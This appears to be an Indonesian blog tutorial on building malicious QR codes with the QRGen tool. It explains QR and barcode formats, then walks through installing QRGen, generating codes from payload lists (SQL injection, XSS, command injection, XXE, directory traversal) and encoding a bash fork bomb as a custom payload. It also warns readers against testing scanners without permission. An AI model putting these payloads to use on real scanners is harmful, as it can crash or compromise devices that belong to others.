Cara Membuat Kode QR Berbahaya Untuk Meretas Ponsel Dan Pemindai Lainnya



Kode QR ada di mana-mana mulai dari kemasan produk hingga boarding pass membuat pemindai yang membacanya menjadi target yang menarik bagi peretas. Berkat kekurangan di banyak perangkat pemindaian berpemilik ini dimungkinkan untuk mengeksploitasi kerentanan umum menggunakan eksploitasi yang dimasukkan ke dalam kode QR khusus.

Alat yang disebut QRGen dapat membuat kode QR berbahaya dan bahkan menyandikan payload yang dibuat khusus. Serangan-serangan ini kuat karena manusia tidak dapat membaca atau memahami informasi yang terkandung dalam kode QR tanpa memindai, berpotensi mengekspos perangkat apa pun yang digunakan untuk mencoba menguraikan kode untuk mengeksploitasi kode yang terkandung di dalamnya. Bahkan pemindai kode QR seperti telepon pintar bisa rentan terhadap serangan semacam ini karena kode QR terbukti mampu memikat pengguna iPhone ke situs berbahaya.

Apa itu Kode QR?

Kode QR adalah format data yang dapat dibaca mesin yang berguna untuk apa pun yang perlu dipindai secara otomatis. Sebelum kode QR, ada beberapa format lain yang disebut barcode linear yang juga menyimpan data dengan cara yang mudah dibaca oleh mesin. Anda mungkin pernah melihat barcode UPC seperti yang ada di bawah ini pada produk karena sering digunakan untuk mengidentifikasi barang yang dijual sehingga kasir dapat memindai mereka untuk memungkinkan checkout lebih cepat.



Barcode UPC atau Kode Produk Universal telah digunakan sejak 1974. Tujuannya terutama di ritel dan mengkodekan serangkaian angka saja, membuatnya terbatas dalam aplikasi. Sementara banyak jenis barcode linier ada mereka tidak dapat menyimpan banyak informasi. Aplikasi seperti pengiriman dan pembuatan mobil memerlukan standar yang akan menampung lebih banyak data.

2D Barcode untuk Lebih Banyak Data

Jawaban atas pembatasan barcode linear adalah barcode 2D yang menawarkan lebih banyak ketahanan penyimpanan terhadap kerusakan fisik yang mempengaruhi informasi yang terkandung di dalamnya. Beberapa kode 2D pertama tampak seperti yang di bawah ini, yang masih banyak digunakan saat ini.



Kode Aztec adalah kode 2D atau matriks dapat dibaca mesin yang mirip dalam banyak hal dengan kode QR dan dapat menampung lebih banyak informasi daripada barcode linier. Awalnya dikembangkan untuk logistik dan Anda mungkin melihatnya digunakan pada paket dan amplop ketika lebih banyak data perlu disimpan daripada barcode linier. Jenis barcode 2D lainnya dapat berisi jumlah data yang sangat padat. Format PDF417 ditemukan di belakang sebagian besar lisensi driver di AS misalnya dapat menyandikan hingga 1800 karakter ASCII.



Kode PDF417 seperti di atas dapat menyandikan teks, angka, file, dan byte data aktual, dan mereka lebih tahan terhadap kesalahan daripada barcode linier. Perusahaan seperti FedEx menggunakan kombinasi PDF417 dan barcode lainnya pada pengemasan slip untuk mengotomatiskan pengiriman dan pelacakan.

Apa Yang Dapat Dilakukan Kode dengan Lebih Banyak Data?

Kode QR dimulai di industri otomotif sebagai cara untuk melacak mobil ketika sedang diproduksi tetapi dengan cepat semakin populer di luar industri itu. Mirip dengan kode 2D lainnya yang kode QR dapat mengemas 1 ton data dan bahkan dapat bekerja saat resolusi berkurang atau rusak.



1 kode QR dapat menampung 4.296 karakter ASCII yang memungkinkan untuk menjadi lebih kreatif tentang apa yang dapat Anda lakukan dengan mereka. Anda bahkan dapat memformat data untuk memicu tindakan ketika perangkat pembaca mengenalinya.

Salah satu aplikasi menarik kode QR diaktifkan oleh kapasitas data yang lebih besar mereka menggunakan mereka untuk mengelola Wi-Fi dan koneksi tanpa berbagi password dalam teks biasa. Dengan menyandikan string berikut Anda dapat membuat kode QR yang mencatat pengguna Android ke jaringan Wi-Fi secara otomatis.

WIFI:S:<SSID>;T:<WPA|WEP|>;P:<password>;H:<true|false|>;

Siapa pun yang memindai kode QR pada perangkat Android akan menemukan diri mereka secara otomatis masuk ke jaringan Wi-Fi yang disandikan. Untuk mengetahui seberapa banyak data yang dapat dikemas oleh kode QR, lihat kode ini:



Kode kecil itu berisi teks berikut:

Version 40 QR Code can contain up to 1852 chars.
A QR code (abbreviated from Quick Response code) is a type of matrix barcode (or two-dimensional code) that is designed to be read by smartphones.
The code consists of black modules arranged in a square pattern on a white background. The information encoded may be text, a URL, or other data.
Created by Toyota subsidiary Denso Wave in 1994, the QR code is one of the most popular types of two-dimensional barcodes.
The QR code was designed to allow its contents to be decoded at high speed.
The technology has seen frequent use in Japan and South Korea; the United Kingdom is the seventh-largest national consumer of QR codes.
Although initially used for tracking parts in vehicle manufacturing, QR codes now are used in a much broader context,
including both commercial tracking applications and convenience-oriented applications aimed at mobile phone users (termed mobile tagging).
QR codes may be used to display text to the user, to add a vCard contact to the user's device, to open a Uniform Resource Identifier (URI), or to compose an e-mail or text message.
Users can generate and print their own QR codes for others to scan and use by visiting one of several paid and free QR code generating sites or apps.

Teks yang terkandung dalam gambar lebih besar dari kode QR itu sendiri! Kapasitas membuat kode QR kuat dan berbahaya karena manusia tidak dapat memahami data di dalamnya tanpa memindai terlebih dahulu.

QRgen untuk Peretasan Kode QR

Karena manusia tidak dapat menemukan kode QR berbahaya sebelum benar-benar memindainya maka muatan QR code yang relatif besar dapat bekerja untuk keuntungan peretas terutama jika dikombinasikan dengan perangkat yang rentan. Alat yang akan kita gunakan hari ini untuk membuat ini disebut QRGen. Ini akan mengambil payload dan mengkodekannya menjadi kode QR menggunakan Python. QRGen dilengkapi dengan pustaka bawaan yang berisi banyak eksploitasi populer yang sangat berguna jika Anda punya waktu untuk duduk dengan perangkat yang sama yang Anda cari untuk dieksploitasi dan mencari tahu mana yang berfungsi. Untuk seorang pentester yang ingin mengaudit apa pun yang menggunakan pemindai kode QR hanya membeli pemindai yang sama dan menjalankan eksploitasi dapat membuat Anda membuat pemindai bertindak dengan cara yang tak terduga.

Kategori payload yang tersedia di QRGen dapat diakses dengan menggunakan flag -l dan angka saat menjalankan skrip. Jumlah dan jenis muatan tercantum di bawah ini.

0: Suntikan SQL

1: XSS

2: Perintah Injeksi

3: Format String

4: XXE

5: String Fuzzing

6: SSI Injection

7: LFI / Directory Traversal

Untuk membuat banyak kode QR berbahaya yang menyertakan payload string-fuzzing maka saya hanya perlu menjalankan QRGen.py -l 5 untuk membuat banyak kode untuk pengujian.

Apa yang Anda Butuhkan?

Untuk menggunakan QRGen Anda harus memasang Python3. Karena cross-platform itu mungkin dilakukan pada sistem operasi apa pun. Anda juga akan memerlukan beberapa pustaka Python, termasuk qrcode, Pillow, dan argparse yang akan kami instal selama penyiapan.

Instal QRGen

Untuk memulai dengan QRGen, kita perlu mengunduh repositori dari GitHub. Kami akan melakukannya dengan menjalankan perintah di bawah ini di jendela terminal.

~$ git clone https://github.com/h0nus/QRGen

Cloning into 'QRGen'...
remote: Enumerating objects: 86, done.
remote: Counting objects: 100% (86/86), done.
remote: Compressing objects: 100% (78/78), done.
remote: Total 86 (delta 26), reused 4 (delta 1), pack-reused 0
Unpacking objects: 100% (86/86), done.

Setelah repo selesai mengunduh, ubah cd ke dalam direktori dan daftarkan ls isinya untuk menemukan file persyaratan.

~$ cd QRGen
~/QRGen$ ls

demo.gif qrgen.py README.md requirements.txt words

Sekarang Anda harus memastikan kami memiliki semua pustaka yang diperlukan diinstal. Untuk melakukannya kami akan menjalankan file instalasi dengan perintah berikut.

~/QRGen$ pip3 install -r requirements.txt

Collecting qrcode (from -r requirements.txt (line 1))
Downloading https://files.pythonhosted.org/packages/42/87/4a3a77e59ab7493d64da1f69bf1c2e899a4cf81e51b2baa855e8cc8115be/qrcode-6.1-py2.py3-none-any.whl
Requirement already satisfied: Pillow in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (5.4.1)
Collecting argparse (from -r requirements.txt (line 3))
Downloading https://files.pythonhosted.org/packages/f2/94/3af39d34be01a24a6e65433d19e107099374224905f1e0cc6bbe1fd22a2f/argparse-1.4.0-py2.py3-none-any.whl
Requirement already satisfied: six in /usr/lib/python3/dist-packages (from qrcode->-r requirements.txt (line 1)) (1.12.0)
Installing collected packages: qrcode, argparse
Successfully installed argparse-1.4.0 qrcode-6.1

Jika itu tidak berhasil Anda juga dapat menginstalnya dengan perintah alternatif ini.

~/QRGen$ python3 -m pip install -r requirements.txt

Hasilkan Kode QR Berbahaya dari Jenis Muatan

Sekarang Anda harus dapat menjalankan skrip dengan mengetik python3 qrgen.py.

~/QRGen$ python3 qrgen.py

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]

Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal

Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader

optional arguments:
-h, --help show this help message and exit

Options for QRGen:
--list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
Set wordlist to use
--wordlist WORDLIST, -w WORDLIST
Use a custom wordlist

Pay attention everywhere, even in the dumbest spot

Seperti yang Anda lihat sangat mudah untuk membuat payload. Untuk memulai mari kita buat muatan yang berisi muatan string format. Untuk melakukannya jalankan QRGen dengan argumen berikut.

~/QRGen$ python3 qrgen.py -l 5

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus.

Serangkaian kode QR akan dibuat dan yang terakhir yang dibuat akan terbuka secara otomatis.



Untuk melihat sisa muatan Anda dapat mengetik untuk mengubah ke direktori dimana mereka diciptakan dan ls isinya.

~/QRGen$ cd genqr
~/QRGen/genqr$ ls

payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png
payload-18.png payload-27.png payload-36.png payload-45.png

Encode Muatan Kustom

Untuk menyandikan payload khusus, pertama-tama kita dapat membuat file teks yang berisi apa yang ingin kita encode. Setiap baris akan menjadi muatan baru. Pertama kita dapat membuat file teks berikutnya dengan mengetikkan nano badstuff.txt untuk membuat file teks.

~/QRGen/genqr$ nano badstuff.txt

Dalam file teks itu kita dapat menaruh payload kita. Yang di bawah adalah bom fork.

Apakah ini akan berfungsi pada pemindai kode QR? Siapa tahu.


:(){ :|: & };:


Kami dapat menyimpannya dengan menekan Control X lalu tekan Y dan Enter untuk mengonfirmasi penyimpanan Anda. Sekarang Anda akan melihat file teks berisi muatan Anda.

~/QRGen/genqr$ ls

badstuff.txt payload-18.png payload-27.png payload-36.png payload-45.png
payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png









Untuk menulis payload Anda ke kode QR kami akan menggunakan flag-w. Dengan asumsi file payload Anda disebut "badstuff.txt," perintah untuk melakukannya akan terlihat seperti di bawah ini (ingat untuk mengubah kembali ke direktori QRGen sebelumnya).

~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/badstuff.txt'

e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus

Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus.

Untuk payload bom fork saya itu menghasilkan kode QR di bawah ini yang akan muncul.



Tidak Semua Kode QR Bijaksana untuk Memindai
Kode QR dapat menyandikan banyak informasi dan seperti yang telah kita pelajari hari ini mereka bahkan dapat diformat untuk menyebabkan perangkat melakukan tindakan seperti menyambung ke jaringan Wi-Fi. Itu membuat pemindaian kode QR berisiko karena seseorang tidak memiliki cara membaca informasi sebelum mengekspos perangkat Anda ke muatan apa pun yang terkandung di dalamnya. Jika Anda memindai kode QR yang tampaknya mencurigakan perhatikan apa yang berusaha diluncurkan oleh kode tersebut dan jangan menyambung ke jaringan Wi-Fi atau menavigasi ke tautan yang dipersingkat.

Sementara sebagian besar kode QR harus aman untuk dipindai pada smartphone, pemindaian muatan yang kami hasilkan hari ini di perangkat untuk memindai tiket atau boarding pass dapat mengakibatkan beberapa perilaku aneh dari perangkat. Jangan memindai muatan pada pemindai yang Anda butuhkan segera setelahnya untuk suatu acara atau pekerjaan atau pemindai yang tidak memiliki izin untuk diuji karena beberapa muatan ini dapat menyebabkan pemindai berhenti bekerja.

https://offer.alibaba.com/cps/8rrut5os?productId= PUT_PRODUCT_ID_HERE<

Comments

Popular Posts